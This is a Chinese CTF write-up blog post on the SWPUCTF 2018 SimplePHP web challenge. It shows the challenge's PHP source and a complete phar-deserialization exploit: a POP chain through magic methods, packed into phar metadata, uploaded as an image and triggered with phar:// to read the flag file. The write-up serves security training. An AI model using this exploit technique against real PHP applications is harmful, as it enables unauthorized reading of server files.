刷题笔记:[SWPUCTF 2018]SimplePHP | 远离尘世的幻想乡

Web

发布日期: 2021-07-10

更新日期: 2022-01-28

文章字数: 1.2k

阅读时长: 6 分

前言

关键词:[phar|pop|上传]

题解

F12有惊喜

file.php?file=可以看到各个php界面源码

文件源码

file.php

<?php
header("content-type:text/html;charset=utf-8");
include 'function.php';
include 'class.php';
ini_set('open_basedir','/var/www/html/');
$file = $_GET["file"] ? $_GET['file'] : "";
if(empty($file)) {
    echo "<h2>There is no file to show!<h2/>";
}
$show = new Show();
if(file_exists($file)) {
    $show->source = $file;
    $show->_show();
} else if (!empty($file)){
    die('file doesn\'t exists.');
}
?>

function.php

222.90.67.205
<?php
//show_source(__FILE__);
include "base.php";
header("Content-type: text/html;charset=utf-8");
error_reporting(0);
function upload_file_do() {
    global $_FILES;
    $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
    //mkdir("upload",0777);
    if(file_exists("upload/" . $filename)) {
        unlink($filename);
    }
    move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);
    echo '<script type="text/javascript">alert("上传成功!");</script>';
}
function upload_file() {
    global $_FILES;
    if(upload_file_check()) {
        upload_file_do();
    }
}
function upload_file_check() {
    global $_FILES;
    $allowed_types = array("gif","jpeg","jpg","png");
    $temp = explode(".",$_FILES["file"]["name"]);
    $extension = end($temp);
    if(empty($extension)) {
        //echo "<h4>请选择上传的文件:" . "<h4/>";
    }
    else{
        if(in_array($extension,$allowed_types)) {
            return true;
        }
        else {
            echo '<script type="text/javascript">alert("Invalid file!");</script>';
            return false;
        }
    }
}
?>

class.php

<?php
class C1e4r
{
    public $test;
    public $str;
    public function __construct($name)
    {
        $this->str = $name;
    }
    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct($file)
    {
        $this->source = $file;   //$this->source = phar://phar.jpg
        echo $this->source;
    }
    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }

    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class Test
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
    public function __get($key)
    {
        return $this->get($key);
    }
    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}
?>

base.php

<?php
    session_start();
?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title>web3</title>
    <link rel="stylesheet" href="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/css/bootstrap.min.css">
    <script src="https://cdn.staticfile.org/jquery/2.1.1/jquery.min.js"></script>
    <script src="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/js/bootstrap.min.js"></script>
</head>
<body>
    <nav class="navbar navbar-default" role="navigation">
        <div class="container-fluid">
        <div class="navbar-header">
            <a class="navbar-brand" href="index.php">首页</a>
        </div>
            <ul class="nav navbar-nav navbra-toggle">
                <li class="active"><a href="file.php?file=">查看文件</a></li>
                <li><a href="upload_file.php">上传文件</a></li>
            </ul>
            <ul class="nav navbar-nav navbar-right">
                <li><a href="index.php"><span class="glyphicon glyphicon-user"></span><?php echo $_SERVER['REMOTE_ADDR'];?></a></li>
            </ul>
        </div>
    </nav>
</body>
</html>
<!--flag is in f1ag.php-->

代码审计

然后就是枯燥的代码审计了。

file.php?file=function.php看看文件上传的逻辑

对于后缀名进行了限制：

将文件名+IP地址用MD5加密再加上jpg，移动到upload目录下：

file.php?file=class.php

检测相关字样：

似乎是提示：

没有unserialize()调用，又有序列化函数，还有文件上传，可猜是phar题。

所以接下来得找pop链。

构造pop链

pop链构造逻辑：

Test::file_get() <- Test::get() <- Test::__get() <- Show::__toString() <- C1e4r::__destruct()

payload如下，记得设置php.ini中phar.readonly = Off，否则会报错。

<?php
class C1e4r
{
    public $test;
    public $str;
    public function __construct($name)
    {
        $this->str = $name;
    }
    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test; //可触发__toString()
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct($file)
    {
        $this->source = $file;   //$this->source = phar://phar.jpg
        echo $this->source;
    }
    public function __toString()
    {
        $content = $this->str['str']->source; //可触发__get()
        return $content;
    }
    public function __set($key, $value)
    {
        $this->$key = $value;
    }
    public function _show()
    {
        if (preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i', $this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }
    }
    public function __wakeup()
    {
        if (preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class Test
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
    public function __get($key)
    {
        return $this->get($key);
    }
    public function get($key)
    {
        if (isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}

$b = new Show(1);
$b->str['str'] = new Test();
$b->str['str']->params['source'] = '/var/www/html/f1ag.php';
$a = new C1e4r($b);

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("exp.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

将生成的phar.phar改成图片后缀：phar.gif,上传

先根据之前所说的文件名字生成规则找到名字，后面要加个.jpg.

521e5ec0fb0fcaa79e19216b5f5342b9.jpg

貌似文件目录直接就开着的，/upload/可以直接浏览

最后提交payload：

file.php?file=phar://upload/521e5ec0fb0fcaa79e19216b5f5342b9.jpg

解密一下，结束。

巡璃

https://syunaht.com/p/1119933272.html

本博客所有文章除特別声明外，均采用 CC BY 4.0 许可协议。转载请注明来源巡璃 !

CTF Web PHP代码审计 Phar

刷题笔记:[SUCTF 2019]EasyWeb

2021-07-11 Web

CTF Web PHP代码审计 disable_functions

刷题笔记:[GYCTF2020]Ezsqli

2021-07-09 Web

CTF Web SQL注入无列名注入